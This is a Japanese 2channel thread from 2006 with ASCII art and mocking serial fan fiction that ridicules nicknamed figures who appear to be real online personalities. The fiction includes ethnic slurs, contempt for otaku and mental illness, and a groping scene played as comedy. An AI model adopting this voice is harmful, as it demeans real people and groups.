>  i__...... -‐l:.:l:.:.:. : : : :l` 、    ヽニニノ   ,  イ:.:.:.:.:.l: :l   /      ,
> /       l:.ヘ:.:.:. : : : :l  `i ー- 、__。つ  /l:.:.:.:.:l:. l   /    , ' ´
>          l:.ヘヘ:.: : : : :i  ヘ   \ r '     / i:.:.:.:.:l l  /    /   ,  '
>          ヽ:.ヽヽ. : : : :トr ‐`−=-r'7――-、/  i:.:.:.:ヘl  .i__   i  /
> 、     _..... --‐ヽ:.\ヽ: : :ヽゝ= ' ´' ,´'\`丶、ノ}   ヽ:.:.:.ヘ¨¨丶、  l  l


95 :名無しかましてよかですか?:2006/09/27(水) 04:17:52 ID:MoLNgV5e
「日経新聞総合」は神スレッド認定 
http://society3.2ch.net/test/read.cgi/mass/1154610685/l50

【日付に注意して、読んでね】

62 :文責・名無しさん :2006/08/06(日) 21:48:02 ID:/1xgnqF2
聞いた話によると
日経社内では新聞協会賞確実、
インサイダーは軽傷で済んだということで
社長以下ウハウハで夏のバカンスを満喫中らしい。

63 :文責・名無しさん :2006/08/06(日) 22:31:55 ID:TpRa7dPO
>>62
油断させときゃいいんだよ。

365 :文責・名無しさん :2006/08/31(木) 14:14:55 ID:o/2G9qxk
電車内で女子大生(18)の体を触ったとして、警視庁調布署は東京都迷惑防止条例
違反の現行犯で、東京都稲城市、日本経済新聞社社員、■■■容疑者(38)を
逮捕した。「やったことは間違いない」と容疑を認めているという。

398 :文責・名無しさん :2006/09/02(土) 17:56:49 ID:MbtfCUet
毎月逮捕者が出る犯罪集団新聞社
9月の逮捕者は誰?

572 :文責・名無しさん :2006/09/13(水) 13:00:08 ID:16cwaGV1
【NHK速報】日経元幹部 詐欺で取り調べ
 日本経済新聞社の元幹部が実体がない印刷会社を設立して (略)
 警視庁は詐欺の疑いで元幹部ら2人の取り調べを始めました。
 容疑が固まりしだい逮捕する方針です。


96 :名無しかましてよかですか?:2006/09/27(水) 07:01:23 ID:b3a1taTt
>>93 >>94
    おえっぷ キモウス様の祟り・・・?           悪霊退散なのですよ・・・
          _.,., --''." ̄゛゛゛- 、 
       , -'´           ゙ー- 、
   ,,//// /,//        ゙ヽ 
  ,イ ///// /ソソ// ィ/ ゙|,,,,..,、  ノ゙、
 イノ从/,/ / イ//リ// //゛゛゛'ヾ.,lii トヽy'从゙、        ,, -―――-- 、
 !ハ从! l! i! i! il i li il! / リ     l l 从ヾil lk i    ,,.-‐''´         `ヽ、
  iハi l! il! lil、, '"`ヾ   ,' ‐''ヾチ.从.i li il! ll!リ  ,;'´ ,'´  ,;         、 ..:ヽ、
     ゙ミ il!从!  (゚;)    (゚;) lYイi! l / i! il リ// / / ./ ,ィ' .;: / i i ゛ヽ、ヽ::.゛i
    ,,,彡爪ハ ミ, --    -- 、イノ /リ////リ.// / l l:. ,' l ! l:: l: i | :. |:. i  ゛; ヽ:::. !
  ////从从ミ  i" ゙̄ヽ, 彡ノノ/イ////,!l l:: | |:: l  l l. l | l !| l、::. l:::!l: ::::i l :::: |
./////////ハ从ヽ i   .l彡彳/リ///リ |!l::l.: |:: !l :l_,,l-‐i-!_i_!Ll=ニニ、!、!ll :: !|::l
: ' //イ iハリ´リ   __ ゛''-'"/////ソリ  ヽー、_lー-il' ,'´`ヽ   r '' ヾ iー-‐'´:::::l
  lリ lソリ   _∠派、  / ///ィ"/从       li :: l | ! (゚;)     (゚;) l ,|::|::|::|::: ::|
 ハノ リ   ,/  ヽトミ、__lミイ // /ソ< ̄ト,      .l.!.:: | i' ,_,. __ 、_ ,、`|::|::|:::|::: :::|
      /_____ l,ゝ<゛<イノハノ リ  ゛i l l.      .|l ::l l :l、゛゛!'    ヽ゛゛゛ .|::|::|:::|::: :::::|
     /,.==、>" ゝ /" /-- 、   ノ/ l      !i.::! | l::i` ‐ヽ _ ノ.ィ´l:::|::|::|:::|::: :::::::|
     k"ァ-y".:  /l /ァ==ミヽ / /  l      ,!l ::i :l l::|:::: /__ハ___ ]l:::|::|::|:::|::: ::::::::|
     lイ 〔ミ::" ,,ノ |(/⌒ヾ、ミV" ト-"      .,!l .::i :l l::|  く ,[] 了 |::|::|ー-、::::::::|
 

97 :名無しかましてよかですか?:2006/09/27(水) 13:13:17 ID:aKWLjFDm
何?
この糞スレ

98 :名無しかましてよかですか?:2006/09/27(水) 17:09:34 ID:cisMblUF
>>97
クソはお前、あとキモジバ・・・。


99 :名無しかましてよかですか?:2006/09/27(水) 19:57:53 ID:eaRykRv8
>>97
そんなこと言ってると、ここの「登場人物」にされますよ?

100 :名無しかましてよかですか?:2006/09/27(水) 21:03:29 ID:rDHA169n
>>81
推定先生はプログに引き篭もってるし
キモジバは相変わらずだし
ネタがない!

101 :名無しかましてよかですか?:2006/09/28(木) 02:50:13 ID:RGYQWrxY
じゃあ>>93のつづきでもみんなで考えますか・・・・。
つかこれキモ味が書き込んだんだろ・・・タイムリーなTVKのネタで!!


102 :ニート徴農機構編:2006/09/29(金) 15:44:04 ID:Vf/WvRZW
愛知県某所、悪叉駄塾ニート更正キャンプ
女「よおオし止まれッッ!!!キサマが農作業をしている間にどれだけの
ニートピザを殴った?」
悪叉駄ユリコの問いに、直立不動で一人の若い女が答える。黒髪に涼しい目元の
美女、しかし、その目には気合いが宿っている。
若い女「サー!!三人でありまスサー!!」
女「よし!!キサマは今や三ヶ月の訓練を経てウジ虫から百戦錬磨のニート調教師へと
生まれ変わった!!ウチに来て娘のユリと百合ってヤツラを釣ってもよいぞ!!」
若い女「サー!!ごめんこうむるサー!!」
そこに来る娘のユリ。
ユリ「しかしお母様、随分とこの人も頑張りましたね。最初、アベシ官房長官・・・ああ、
今は総理大臣ですけど、の特命でこっちに来たときは貧弱なウジ虫女性文部キャリア
だったのに、よくここまでがんばりましたよ」
女「ああ、お前やヨシダさんとこの娘よりコイツの方が素質は上だからな、はっはっは。
この、国乃素子なる女。この国を変えるやもしれん。クククク。よオしッ、それでは
訓練はこれまで!!戦場に戻って己のなすべき事をなせ!!
若い女「サー!!イエッサー!!」

内閣総理(中略)特務機関ニート徴農機構
それはアベシ総理大臣が教育改革のもう一つの柱として設立した特務機関。目的は
要するにゴミムシを回収し日本社会にとって有用な人材に作り替えるための組織である。
組織としては総理大臣に直轄する形で置かれ、かつトップに比良方産業大学で長く教授・学長を
務めた千田ミノルを招き、他にも初代エイトプリンス治安維持委員会委員長など保守色の濃い
実務家を中心とした組織である。
ミノル「と言うことで国乃君」
素子「ハイっ」
ミノル「君には研修を終えたところで悪いのだが、早速回収しに向かって欲しい人間がいるんだ。
エイトプリンスに住む、「この」男と「この」男の周辺にいる人間を是非回収して欲しい」
素子「分かりました。至急向かいます」

103 :ニート徴農機構編:2006/09/29(金) 15:45:12 ID:Vf/WvRZW
ミノルには過ちがあった。今でも思い返すと、何故、あんなことをしてしまったのかと思うほどに。
アレは、十年以上前のことだろうか・・・。
大阪府・比良方産業大学
ミノルのゼミに一人の男が入ってきた。男の名は林間カヅフサ・・・。ミノルにはその男は
頼もしい思想家肌の男に見えた。保守的なミノルに食ってかかるカズフサに、ミノルは
やる気のない学生の多い三流大学にしては素晴らしい人間がやってきたと客観的に言えば
勘違いをしてしまったのだ。そして、彼の無断引用だらけのパッチワークにさえなって
いないレポートや卒論に優をつけまくり、無理矢理コネを使ってナニワ大学の大学院に
まで彼を押し込んでやった。しかし、ある日その電話はかかってきた。それは
「林間カヅフサが問題を起こして大学院を除籍された」という彼の指導教官からの電話であった。
ミノルは心を痛めた。いや、それよりもあることを恐れた。
「こ、このワシの素晴らしい研究者人生にアレのせいで傷が付いてしまう」ことを。
アレが犯罪者を愛国の名の下にしでかしたらと思うと、ミノルは眠れない日が続いた。
そんなある日、アベシ官房長官から「この」話が舞い込んだのであった。
ミノル「う〜〜〜〜、う〜〜〜、ヤツだけは絶対に処分しないと・・・・」
保科「あの・・・、長官?何を言ってますか?」
ミノル「ハッ、ほ、保科君。いや、なにも全然全く関係ですよ?」
保科「ならいいんですけど」怪しい目でミノルを見る保科元治安維持委員会委員長であった。

エイトプリンス。林間ハウス
林間「さー、今からコレをやるぞー」
林間は上機嫌だった。林間の手には、例のヴァルキリーと同じとこから発売された巫女エロゲー。
林間「ヴァルキリーの鎧もエビタソも良いけどやっぱり愛国者なら巫女さんだよねー」
と、パソコンを立ち上げようとしたときだった。
バチっ
家中の電気が消えた。
林間「えっ、停電?」
××「違うぞ」

104 :ニート徴農機構編:2006/09/29(金) 15:46:20 ID:Vf/WvRZW
もう一度電気がついたとき、林間のこ汚い部屋の中には若い女がいた。彼女は黒ずくめの
全身スーツに、後にムキムキマッチョを数人連れていた。
林間「ま、松沢か?それとも月宮か?」
ジタバタし始める林間。しかし、彼女は落ち着いて林間を尋問する。
素子「私の名前は(前略)ニート徴農機構の管理官の国乃素子だ。貴様は『愛国』を
騙りながら全くこの国に有用なことをせず、あまつさえ数々の軽犯罪をした・・・」
林間「『愛国』を騙っただとー。それはアニヲタのヨシダや鳥坂のことだろう!111!
かんしゃくおこす!11!!」
素子「貴様がかんしゃくおこそうが私には何ら関係がない」
林間「そ、そうだならこの宿題に答えろ!!!プラトンのイデア論を修正したのがアリストテレス
ですが・・・・」
素子「くだらん質問だ」
林間「くだらん質問とは何だ!11!家に岩波文庫も筑摩新書もない人間がなにを・・・」
素子「私は原文を原書で読めるが?まあ、一応東大の政治学科をでてるものでね・・・」
林間「t−y08いう790yh8え4096hgbpヵんしゃくおこす!!11!!」
素子はマッチョに「発狂した」と小声で伝える。「彼らは精神病者である可能性もあるからな、
一応松沢の方へ話も通しておけ」
素子「さて、貴様は無職だったな。いいか、この前法制度が改正されてニート徴農機構は
無条件で労働が可能な年齢の日本国在住の無職の成人を全て徴農することが出来ると・・・」
林間「む、無職だとかんしゃくおこす!!!1ボクは学校の先生だぞ!!1!!」
素子「貴様のような知的怠惰の塊のような人間が先生だと、笑わせるんじゃない」
林間は速やかに自分の滅多に使わない携帯電話をかけた。繋がった先は海武学園
林間「これを聞け!!11!!」
素子に林間は携帯を押しつけた。素子の耳には
「り、林間。早く学校に戻ってこーーーい」とブチ切れた担任と教頭の声が・・・
素子「・・・まさか」
マッチョ「さすがに職業を持つ人間を徴農するのは無理ですかねー」
素子「いや、そんなバカな・・・」
素子は上司であるミノルの元に電話をかけて問い合わせる。その時、彼女に近づく一つの影

105 :ニート徴農機構編:2006/09/29(金) 15:47:13 ID:Vf/WvRZW
騒ぎながらも林間は素子のことを冷静にじっと観察していた。黒い長い髪を持った美人で、
スレンダーな体型。性格的には本来林間の好みのタイプとは言い難いが、丁度間の悪いことに
林間の中で「第一次巫女萌えブーム」がコヴァから伝染する形で来ていたのが災いした。
電話で確認する素子の尻に何かが触れた。そして、荒い息づかい。そして
林間「黒髪スレンダー美人も”えーーーーーーーーー」
林間が襲ってきた。
きゃあああああああああああああああ
マッチョ「今助けます管理官ーーーーー」
15分後
林間「ブフーブフー」林間は例によってボコボコだ
素子「ぜーぜーはーはー。・・・き、今日はダメだったけど、いつか絶対貴様を捕らえるからっ
覚えてなさいよっ」
そして、林間は一人取り残された。

海武学園。政経の時間
林間「やー、昨日黒髪美人の痴女が部屋にやってきてな。もてる男はつらいなあ〜」
全身包帯だらけの林間が言う、
林間「まあ、これも私が愛国者だから名のだが。まあ、アンチコヴァの吉田や鳥坂や
木場には関係がないがね。ワハハハハハ」
鳥坂「どうせ妄想やろ」
吉田「いや、やっぱ人形とか」
コヴァ「そういえば昨日先生エロゲ買ってたですにょ」
林間「うるせえこのアンチコヴァども!!1!!この吉田のフィギュア萌え族!111」
吉田「んだとー銀様をバカにすんなああああ」
コヴァ「ああっ、吉田君が銀様のことに触れられて大爆発ですにょ〜〜〜〜〜」

その頃(前略)ニート徴農機構
ミノル「さて、林間はいつ回収できるのかのぉ・・・ばーさんや」
保科&素子「ばーさんじゃないっっ」転職を考え始める二人であった。

106 :名無しかましてよかですか?:2006/09/29(金) 17:57:32 ID:2ffn4Cj4
>>ID:Vf/WvRZW
http://toturev.sakura.ne.jp/totutohoku/index.php?%A1%CA%B5%C4%CF%C0%B5%AD%CF%BF%A3%B4%A1%CB
お前はこれをじっくりと読んでお前の知的羞恥心の無さを噛みしめろ。

107 :名無しかましてよかですか?:2006/09/29(金) 18:06:42 ID:TurmVlr9
ひょっとして、天災ニート君って推定さん?


108 :名無しかましてよかですか?:2006/09/29(金) 18:07:38 ID:S374SAHe
ああ、やっぱニートなんだ。天才くん。

109 :名無しかましてよかですか?:2006/09/29(金) 18:16:24 ID:2ffn4Cj4
>>107-108
読んでから書き込め。

110 :名無しかましてよかですか?:2006/09/29(金) 18:22:39 ID:r956PsqW
とりあえずネタもつくれない荒らしは無視しましょう。

111 :名無しかましてよかですか?:2006/09/29(金) 18:44:24 ID:S374SAHe
他人の言葉にしか頼れない天才クン。
他人の稼ぎでしか飯が食えない天才クン。

すげえなあ、天才って。

112 :名無しかましてよかですか?:2006/09/29(金) 18:44:35 ID:pHQEGAAB
確かに会話が繋がらない上に最後は『誰がなんと言おうと』で逃げるジバクもどきは
相手西ても無駄だからな

113 :元祖ナショナリスト ◆jgMo7T56/. :2006/09/29(金) 19:48:40 ID:k/5mEW5F
>>111
千と千尋に出て来るカオナシと全く一緒。

114 :名無しかましてよかですか?:2006/09/30(土) 00:26:30 ID:T1poC5tq
つーか、怠けているというだけじゃなくて、肥大する自意識と社会性との刷りあわせをしない増長したヴァカが
増殖しているから更に叩かれ、ここでもネタにしやすくなってるんじゃないか。

115 :元祖ナショナリスト ◆jgMo7T56/. :2006/09/30(土) 03:12:39 ID:5jrdsfTZ
>>114
最近そういうの増えた。
別にヒキコモリでなくても、心にATフィールド作ってて且つ武装してるような連中が、この頃町でも各公共施設や店でもよく見掛ける。

116 :名無しかましてよかですか?:2006/09/30(土) 05:02:20 ID:eBPZ4GvA
                     
    ビシッ  / ̄皇道 ̄\       / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    / ̄\(  人____)    / うぼぼぼぼ
  , ┤    ト|ミ/  ー◎-◎-)   / 統帥権干犯!
 |  \_/  ヽ    (_ _) ) <   美濃部達吉はサヨク!
 |   __( ̄ |∴ノ  3 ノ   \  珍米岡田啓介は退陣しる!
 |    __)_ノ ヽ     ノ | ̄|   \                 
 ヽ___) ノ   国体明徴ヽ.|∩|    \__________________

推定が1930年代に生きてたらこんなんだろう。

117 :名無しかましてよかですか?:2006/09/30(土) 10:59:21 ID:qDUDJfh8
>>116
しかも口では何も言わないタイプな。

118 :名無しかましてよかですか?:2006/09/30(土) 11:03:49 ID:s7YUi+9a
いや、逆に共産主義者のような気がする<推定
「日本共産党の研究」などを読む限り、昭和初期の共産党の香ばしさは
今の紳士様に通じるものがある。

119 :名無しかましてよかですか?:2006/10/01(日) 10:26:14 ID:mkwuA3ru
ティキ氏のブログの9月29日の記事をヒントに

コヴァ達三人(吉田、鳥坂)と、メグミ達三人(サユリ、凛)が
休みの日に一緒に遊びに出掛けた事を知った林間が
ファビョって・・・・・。

てな話をリクエスト


120 :119:2006/10/01(日) 10:41:30 ID:mkwuA3ru
×(サユリ、凛)
    ↓
○(さやか、凛)

121 :林間カヅフサの遊び妨害作戦:2006/10/01(日) 12:26:55 ID:Q9ySqP6S
コヴァの携帯に電話がかかってきた。相手は林間だ。
林間「おい!コヴァ!今すぐ俺の家に来い!1!!あべしポチ内閣を倒閣させるための…」
コヴァ「嫌ですにょ。ボクチン、今、浅草に遊びに行くんですからね。
吉田君と鳥坂君とメグミと菅間さんと戸坂さんと一緒に」
林間「なぁにぃー!1!!!女が三人いるだと!?さては乱交パーティをする気だな!1!!!
俺の許可無くしてそういうことはゆるさーん!11!!」
コヴァ「誰もそんなこと言ってませんにょ。林間先生も家にこもって憂国するばかりでなく、
たまには外へ出て羽を伸ばされたらどうですか?それじゃ。」
プチ ツーツーツー
林間は激怒した。必ず邪智暴虐のコヴァを除かなければならぬと決意した。
林間には青春がわからぬ。林間は、幼いころから一人ぼっちである。
くだらぬ事に火病を起こし、ヴァルキリーやもみじでシコって暮して來た。
けれども仲間はずれに対しては、人一倍に敏感であった。
林間「許さんぞ…許さんぞコヴァーーーー!1!!!!!11!!123
目に物を見せてくれるわ!111!浅草に行くと言ってたな11!1!まってろ111!
かんしゃくおこす!11!!!かんしゃくおこすぅうううう!!!!!!」
林間はすぐにジバクとキモ味に招集をかけた。
林間「…というわけで今から浅草にコヴァたちの邪魔をしに行く!!11!1」
キモ味「うぐぅ〜、めんどくさいよ、ボクはお家で遊んでいる方がいいし」
ジバク「わしは浅草なんぞスラム街には行きたくないんじゃよ」
林間「やかましい俺の指示に従えかんしゃくおこす!1!!!そうだ、肝井よ、
確か一行の中に菅間凛と言う女がいるらしいぞ」
キモ味「り、凛たんが!!1!?行く、ボク行くよ!11!」
林間「ジバクよ。帰りにモデルガンでもキリでもカッターナイフでも買ってやるからさ」
ジバク「うーん、ならいいんじゃよ。せっかくじゃから、
スラム街のごみ掃除でもしてくるのじゃよ。」
自慢のエアガンをなでながらジバクは言った。
林間「よし、役者はそろった!1!!!浅草に行くぞ!1!!コヴァ1!1!
俺達が浅草に着くまでしばしの平和を首を楽しむがいいわ!11!!!」

122 :林間カヅフサの遊び妨害作戦:2006/10/01(日) 12:29:05 ID:Q9ySqP6S
浅草
林間たちは団子屋で腹ごしらえのために団子を食べていた。
すると、小学生低学年くらいの子供が林間たちのほうを見ていた。
ジバクは子供のいる方へ団子を一串投げてその子へ見下した表情で言った。
ジバク「おい、貧民、食うものに困ってるんじゃろ?くれてやる。感謝するんじゃよ。」
男の子は無言で泥まみれの串団子を拾い上げると、その串団子で思いっきりジバクを叩いた。
男の子「ふざけてんじゃねえや!!てめぇ、人をバカにしてんのか?ああ、コラ」
ジバク「わ、わしは上流階級なんじゃぞ!!わしの一声でお前なんか…」
男の子はジバクをボコボコに殴った。凄まじい弱さである。
ジバクがリュックからエアガンを取り出す。さすがに男の子も顔が青ざめる。
が、ジバクは不意に後ろから肩を叩かれた。警察官だ。
警官「きみ、何をしているのかね?明らかにエアガンをその子に向けて撃とうとしてたろ。
ちょっと署まで来てくれんか」
ジバク「えうあうあうあうううううっうあいいじゃじあjwqしおぢwしjswしj
り、林間先生助けてほしいんじゃよ」
警官「君、この男の知り合いかね?」
林間「ぜんぜん知りませんな。そんな犯罪者、さっさと連れて行ってください。」
ジバクは「林間先生の裏切り者ーー!1!!チョン!11!チャンコロ1!!1!
ニガー!!11!ラテン1!!!!!」と叫びながら警官によって連れ去られてしまった。
林間「役立たずめ…」
キモ味「あっ、あれ、吉田君たちだ!!」
コヴァ、吉田、鳥坂、メグミ、凛、さやか…楽しそうにおしゃべりしながら、仲良く歩いている。
まともに女の子と会話をしたことのない二人に嫉妬の炎が燃え上がる。
林間「よーよーよーよーよー、かわいい姉ちゃんつれてんじゃねえかよ」
と、80年代の漫画の不良のような台詞で吉田たちに絡む林間。
吉田「なんだ、林間か…おい、コヴァ、行き先を教えるなよー」
コヴァ「ご、ごめんなさいですにょ。ついうっかり浅草に行くって言ってしまって…」
キモ味「うぐぅ〜、凛たん、メグミたんお久しぶり。みんなのアイドル、キモちゃんだよもん」
鳥坂「誰がアイドルや誰が。お前なんかキモすぎてデブタレにもなれんわ。(ボソッ)」
キモ味「鳥坂君!聞こえたよぉ〜みんなボクが好きなのはわかってるんだからねっ!」

123 :林間カヅフサの遊び妨害作戦:2006/10/01(日) 12:31:09 ID:Q9ySqP6S
林間「俺を差し置いて遊びに行こうとはいい度胸してんじゃねーか、あ?吉田よ。
で、この後はホテルに行って乱交パーティーをするんだろ「はい」と言え!1!1!」
吉田「だから、どっからそんな斜め上の発想が出てくるんだよ!
本格的なバカですか!?」
コヴァ「つか、自分が乱交パーティしたいだけじゃないんでしゅか?林間先生は」
林間「お前にだけは言われたくないわかんしゃくおこす!1!!」
吉田「図星かよ…」
キモ味「ねぇねぇ、吉田くぅ〜ん、僕も仲間に混ぜてお!1!!」
吉田「絶対にやだ!!」
キモ味「なんでぇ〜、やっぱりエロゲーオタクの吉田君は一般人のボクと
仲良くしたくないから、エロゲー仲間の鳥坂君と木場君としか遊ばないの?」
吉田「はいはい、勝手に言ってろ」
メグミ、さやか、凛「…吉田君!」
三人の表情が強張る。キモ味はチャンスとばかりに一枚の紙を3人に見せた。
「食いしんぼ」という漫画とキモの大好きな葉鍵のコラージュ画像であった。
(実物→http://oishi2ch.hp.infoseek.co.jp/souko/oishi002.jpg
キモ味「これ吉田君が作ったんだ!ボクの大好きな鍵ゲーを貶めるために作ったコラだよ、
ひどいでしょ!おまけに著作権法違反だし!!吉田君はそんな人だよ!1!!
ボクの純愛を汚すやつは何人たりも許さない!1!!」
メグミ「…吉田君、本当なの?」
吉田「いいや、違うね。メグミちゃんたちは知らないだろうけど、
こいつは信用しない方がいいよ。『あいつはボクを叩くからこうでならなければならない』
っていう思い込みというか、妄想でしゃべるから、しゃべることの大半は大嘘。
それにその画像は俺が作った奴じゃないよ。」
三人の表情が和らいだ。「ああ、やっぱり」「そうよねー」と言う声が聞こえた。

124 :林間カヅフサの遊び妨害作戦:2006/10/01(日) 12:34:28 ID:Q9ySqP6S
凛「しかし、本当にこの絵ってキモいわね。やっぱり私、オタクって大嫌い!
あ、もちろん「食いしんぼ」の絵の方じゃないわよ。鍵とか言う気持ち悪い絵の方ね。」
さやか「キモ〜い、肝井君っていったよね、君、ロリコンなの?」
メグミ「17歳のうちからこんなのやってるなんて、よっぽど女の子に縁がないのね。」
凛「何が「純愛」よ、キモいわー、本当、吐き気を催すわ。」
メグミ「本当、女の子に縁のないキモヲタが愛を語るなって感じよね」
さやか「こんなのが世に氾濫していればロリコン犯罪が増えるのもわかるわ。」
唯一の心の拠り所を散々けなされたキモ味はファビョった。
キモ味「ひどいよおおおおおお1!1!!なんでみんなボクをいじめるの!111!!
謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ
謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ
謝れ!謝れ!謝れ!謝れ!謝れ!謝れ!謝れ!謝れ!謝れ!謝れ!謝れ!謝れ!謝れ!謝れ!
謝れ!謝れ!謝れ!謝れ!謝れ!謝れ!謝れ!謝れ!謝れ!謝れ!謝れ!誤れ!謝れ!謝れ!」
どうやら完全に自我が崩壊したようだ。一方の林間は
林間「俺の許可無くしてデートを行うなかんしゃくおこす!!!!1!!!
これも全部アメリカの陰謀11!!!1!!」
コヴァ「陰謀陰謀って、都合の悪いことは全部特アのせいにしてた
昔のボクチンでしゅか?そういう恥ずかしい言動はやめてくださいにょ。
昔を思い出して悲しくなりますにょ」
林間「ハイパーかんしゃくおこすううううううううう!!!!1111!」
こっちも完全に壊れたようです。
気がついたらもう日がだいぶ傾いている。遠くから松沢病院の黄色い救急車の
サイレンの音が近づいてくる。6人は日没まで目いっぱい遊んだ後、
楽しそうにエイトプリンシティーに帰っていった。

125 :119:2006/10/01(日) 13:03:30 ID:mkwuA3ru
>>121-124
まずは乙ー。

もし推定が、ティキ氏のブログに食いついてこなかったら、
リクエストするのはやめよう。と思っていたのですが、
案の定・・・・w

126 :名無しかましてよかですか?:2006/10/01(日) 14:39:18 ID:Bx4cqH5p
>Unknown (Unknown) 2006-09-28 15:14:57
>あいつのブログがとうとう新聞記事を取り込んで
>勝手に転載し始めた件について。

>どうみても著作権法違反です、ありがとうございました

>>123
おまえも著作権侵害だな。

127 :名無しかましてよかですか?:2006/10/01(日) 14:48:26 ID:HP7XX6Cx
>>ID:Q9ySqP6S
http://toturev.sakura.ne.jp/totutohoku/index.php?cmd=read&page=%A5%AD%A5%E2%A5%A4&word=%A5%AD%A5%E2
キモイと言う言葉がいかに知的羞恥心が欠如してるのかよく噛み締めろ。

128 :名無しかましてよかですか?:2006/10/01(日) 14:49:43 ID:HP7XX6Cx
「オタクがキモイ」という発想やコミュニケーション、あるいはそれを生理的であると称するそれら自体が、「韓国人はキモイ」というのと同じく、
そもそものセンスの著しい欠如と思われるにもかかわらず、その「合理性」についてとやかく語り、自分が嫌いな対象をなんとか「キモイ」のカテゴリに収めつつ、
認めざるを得ない対象だけを「キモイ」から除去しようと四苦八苦するような途方もない作業が、私たちにとっては相当不愉快なものと映っているのだろう。
「臭い」という言葉も、その語が使用されるあらゆる差別的局面において君が無造作に受け容れざるを得なかった各種の偏見にまみれていて醜い。
フロに数日入らないくらいで、あるいはまた少々汗臭いくらいで体に付着しているだろうばい菌の量が、本当にあなたにとって「生理的に」受け付けないのだとすれば、
それこそ「気持ち悪い」潔癖症そのものである。もし私が剣道部員の汗臭さを論じてみたなら、あなたはきっと「それは、スポーツだから仕方がない」というように回避するだろう。
その様子の全体が、残念ながら的をはずしているのである。


129 :名無しかましてよかですか?:2006/10/01(日) 14:52:59 ID:Bx4cqH5p
こんな、妄想創作なんか書いている奴こそ、現実で
エロゲーを何本もして、いまさら葉鍵か! なんていっている事実。
まあ、ボクの気持ち悪さは、狙ったとおりの、いわば、作られた"気持ち悪さ"であるが、
キモオタは本当にキモイ。なんで、キモオタは二次創作でキャラを性的に汚すの?

130 :名無しかましてよかですか?:2006/10/01(日) 15:16:31 ID:c0s6+Njn
>>127
キモ味はキモイと言われるのがうれしいらしいのだが。
http://d.hatena.ne.jp/jibakuchan/20051022/p1


131 :名無しかましてよかですか?:2006/10/01(日) 15:20:55 ID:Bx4cqH5p
>>130
ボクを叩いてもいいけど、鍵ゲーや鍵っ子を馬鹿にするのは許せないんだから!


132 :名無しかましてよかですか?:2006/10/01(日) 15:23:22 ID:Bx4cqH5p
                |  l│└ ┐ ./   /        \   \
                 ┌‐┘ ノ./ー─┘/   /     i     ヽ    ヽ
                 └―〃/ | ̄ ̄|   ,′      ',      '.  ヽハ
              / ̄ ̄|│ 「丁   l        ヽ   ヽ   l.  l│
                  ヽ/丁| │|ヽ_>{  j{  /      N  }  │ │|
                |└┘ト l、∧  |ヽ {      } } ヽ, 斗-┼ │l  鍵ゲーを冒涜するものは
                |│  | lヾ >k{_ \    ノ_ル<ハj /   !│   許せないんだから!
                   八!  ∨ ‐〒示心ーヘ ヽ戈云テテ‐レ'     j八
               / "∧  ',   ゞー'´  j/  ゞー''   /    /   \
              /   ハ  ∨///      /// /   ∧    \
             /     /rヘ   ヘ        ___     _/_/¨ヾ ヘヽ    ヽ
            /    , -‐<:::::}   个 ,、 rー'´__う /〃⌒ヽ \:ヽ \   '.
            /    ,イ:::::::::::::}::::j   ∨ > ー-- ‐ァ<.じ⌒ヽ、   Y:ス \  l
       /     /::l :::::::::::{:: /    ',.   厂V弋′ /^\       /:::∧   \ }
      /      /:::::ヘ::::::::::∨     }ヽ /ー兮-ヽ /{ l、      //:::::l    \
.     /     /l:::::::::::::ヽ/     /:: ∨_/ 厶ヽ_V  フ       /:::::::::::::|\    \
.     ,′   /  |:::::::::::/       /:::::::::∨/_ヽ∨ /     /、__:::::::::::l  \    \
.      l   /  ノ"::::::/      \{::::::::::::::\∀/  {     ム  ):::: く    \    ヽ
      ! /    ヾ:::::/         \:::::::::::::: ̄{   /ゝ-──' {  /:::::::::ノ    ヽ    }
     ∨     /::/           `ヽ /厂ヽ  〉      l/::::::::::::\     }   /

133 :名無しかましてよかですか?:2006/10/01(日) 15:39:12 ID:aBiCFODy
>>126
>おまえも著作権侵害だな。
どこが?

134 :名無しかましてよかですか?:2006/10/01(日) 15:39:25 ID:Q9ySqP6S
早速バカ二人が踊ってるw

135 :名無しかましてよかですか?:2006/10/01(日) 15:41:17 ID:Bx4cqH5p
>>133
社会常識も無いクズか・・・・

136 :名無しかましてよかですか?:2006/10/01(日) 15:42:19 ID:Q9ySqP6S
>>135
お前の方がよっぽど社会常識ないだろw>キモ味

137 :名無しかましてよかですか?:2006/10/01(日) 15:43:35 ID:Bx4cqH5p
 /       .:.l         .:、.:.:.:.    .:.l.:、.:.:..   l
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 |   .:.丁7゙'\_\    \:!.:.:.:.:/ _, -ー'/__     |/        \
 |   .:.ト,!  _`二≧ュー'゙ } X≦弋:: ̄:::ノ ̄/           ヽ   こいつ、最高にアホ
. ∧   ∧´ ̄ヽ:::::::::ノ  ノ/    ゝ一'   |  /              l
/ ∧   }.   ` ̄                 | ,'   /   l   /   !
  .:.ヽ   ヽ                     | |   !    /   /   |
  .:.:.∧   ヽ,                 / |  l  /   /  /|ヽ
 .:.:.:.ノ ヽ   ヽ               /   }.   !-ー' 一 '´ ̄  /  \
.:.:.:.rー'::`:ト、   \     r一一っ   /ゝ一'∧  |        ,イ    /
.:.:/:::::::::::::| ヽ  .:.:>- 、  ̄    イ {.:.  / |´ `ト- 、_   //   〈
:/::::::::::::::/    .:.:.∧   弋 ー-ー ゙/  !.:.:.:.. ヽ ゝー゙            ヽ
::::::::::::/    .:.:.:/:::::ヽ   ヽ /   ヽ.:.:.:.:.:>>136 ID:Q9ySqP6S

138 :名無しかましてよかですか?:2006/10/01(日) 15:50:04 ID:Q9ySqP6S
>>137
ああ、やっぱり社会常識がないんだね。
キモいAA貼る以外に言い返せないの?

139 :名無しかましてよかですか?:2006/10/01(日) 15:54:35 ID:Bx4cqH5p
    /                             ヽ
.   /                           i
  / /                .:. ..       |   >>138
. //|:::              :/  /:::.:::|:.       |   漫画やゲームの作者に使用許可取ってないで、
    |::         .:/|    :!:  |ヽ/|::       |   画像を勝手に使って、うPするのは
    |:::     :|   .:| |:.   ::l:::: !   |:: |  /     |   常識で考えて著作権侵害だろうが。
    |::::.    :::|___::| ヘ:. :::|!:: |  _,|z;!-/:  |  !
